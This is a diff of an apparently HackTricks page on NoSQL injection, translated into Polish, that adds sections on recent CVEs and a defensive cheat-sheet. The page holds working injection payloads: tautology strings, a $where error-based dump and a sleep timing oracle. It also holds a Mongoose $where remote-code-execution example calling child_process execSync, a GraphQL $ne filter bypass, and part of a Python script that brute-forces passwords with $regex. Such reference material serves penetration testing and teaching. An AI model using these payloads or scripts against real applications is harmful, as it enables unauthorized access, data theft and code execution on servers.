Translated ['src/pentesting-web/nosql-injection.md'] to pl

src/pentesting-web/nosql-injection.md

@@ -4,7 +4,7 @@
 
 ## Exploit
 
-W PHP możesz wysłać tablicę, zmieniając wysyłany parametr z _parameter=foo_ na _parameter\[arrName]=foo._
+W PHP możesz wysłać tablicę, zmieniając wysyłany parametr z _parameter=foo_ na _parameter[arrName]=foo._
 
 Eksploity opierają się na dodaniu **Operatora**:
 ```bash
@@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
 ```javascript
 query = { $where: `this.username == '${username}'` }
 ```
-Napastnik może to wykorzystać, wprowadzając ciągi takie jak `admin' || 'a'=='a`, co sprawia, że zapytanie zwraca wszystkie dokumenty, spełniając warunek z tautologią (`'a'=='a'`). Jest to analogiczne do ataków SQL injection, gdzie używane są dane wejściowe takie jak `' or 1=1-- -`, aby manipulować zapytaniami SQL. W MongoDB podobne wstrzyknięcia można przeprowadzić, używając danych wejściowych takich jak `' || 1==1//`, `' || 1==1%00` lub `admin' || 'a'=='a`.
+Napastnik może to wykorzystać, wprowadzając ciągi takie jak `admin' || 'a'=='a`, co sprawia, że zapytanie zwraca wszystkie dokumenty, spełniając warunek za pomocą tautologii (`'a'=='a'`). Jest to analogiczne do ataków SQL injection, gdzie używane są dane wejściowe takie jak `' or 1=1-- -`, aby manipulować zapytaniami SQL. W MongoDB podobne wstrzyknięcia można przeprowadzić, używając danych wejściowych takich jak `' || 1==1//`, `' || 1==1%00` lub `admin' || 'a'=='a`.
 ```
 Normal sql: ' or 1=1-- -
 Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a
@@ -114,7 +114,41 @@ Wstrzyknij `throw new Error(JSON.stringify(this))` w klauzulę `$where`, aby wye
 ```json
 { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
 ```
-## MongoDB Payloads
+## Recent CVEs & Real-World Exploits (2023-2025)
+
+### Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359
+Wersje ≤ 6.0.0 ujawniały metodę Meteor `listEmojiCustom`, która przekazywała obiekt **selector** kontrolowany przez użytkownika bezpośrednio do `find()`. Wstrzykując operatory takie jak `{"$where":"sleep(2000)||true"}`, nieautoryzowany atakujący mógł zbudować oracle czasowy i wyeksportować dokumenty. Błąd został naprawiony w 6.0.1 poprzez walidację kształtu selektora i usunięcie niebezpiecznych operatorów.
+
+### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061
+Gdy `populate()` jest używane z opcją `match`, Mongoose (≤ 8.8.2) kopiowało obiekt dosłownie *przed* wysłaniem go do MongoDB. Podanie `$where` wykonywało więc JavaScript **wewnątrz Node.js**, nawet jeśli JavaScript po stronie serwera był wyłączony w MongoDB:
+```js
+// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
+Post.find()
+.populate({ path: 'author', match: req.query.author });   // RCE
+```
+Pierwsza łatka (8.8.3) zablokowała najwyższy poziom `$where`, ale zagnieżdżenie go pod `$or` obejście filtra, prowadząc do CVE-2025-23061. Problem został całkowicie naprawiony w 8.9.5, a nowa opcja połączenia `sanitizeFilter: true` została wprowadzona.
+
+### GraphQL → Mongo filter confusion
+Rozwiązywacze, które przekazują `args.filter` bezpośrednio do `collection.find()`, pozostają podatne:
+```graphql
+query users($f:UserFilter){
+users(filter:$f){ _id email }
+}
+
+# variables
+{ "f": { "$ne": {} } }
+```
+Mitigacje: rekurencyjnie usuwaj klucze, które zaczynają się od `$`, jawnie mapuj dozwolone operatory lub waliduj za pomocą bibliotek schematów (Joi, Zod).
+
+## Defensywny Cheat-Sheet (zaktualizowany 2025)
+
+1. Usuń lub odrzuć każdy klucz, który zaczyna się od `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
+2. Wyłącz JavaScript po stronie serwera w samodzielnie hostowanym MongoDB (`--noscripting`, domyślnie w v7.0+).
+3. Preferuj `$expr` i budowniczych agregacji zamiast `$where`.
+4. Waliduj typy danych wcześnie (Joi/Ajv) i zabraniaj tablic tam, gdzie oczekiwane są skalarne wartości, aby uniknąć sztuczek `[$ne]`.
+5. Dla GraphQL, tłumacz argumenty filtrów przez listę dozwoloną; nigdy nie rozprzestrzeniaj nieufnych obiektów.
+
+## Ładunki MongoDB
 
 Lista [stąd](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
 ```
@@ -193,6 +227,7 @@ url = "http://example.com"
 headers = {"Host": "exmaple.com"}
 cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
 possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
+
 def get_password(username):
 print("Extracting password of "+username)
 params = {"username":username, "password[$regex]":"", "login": "login"}
@@ -225,9 +260,10 @@ for u in get_usernames(""):
 get_password(u)
 ```
 ## Narzędzia
-
 - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
 - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
+- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
+- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
 
 ## Odniesienia
 
@@ -236,5 +272,7 @@ get_password(u)
 - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
 - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
 - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
+- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
+- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
 
 {{#include ../banners/hacktricks-training.md}}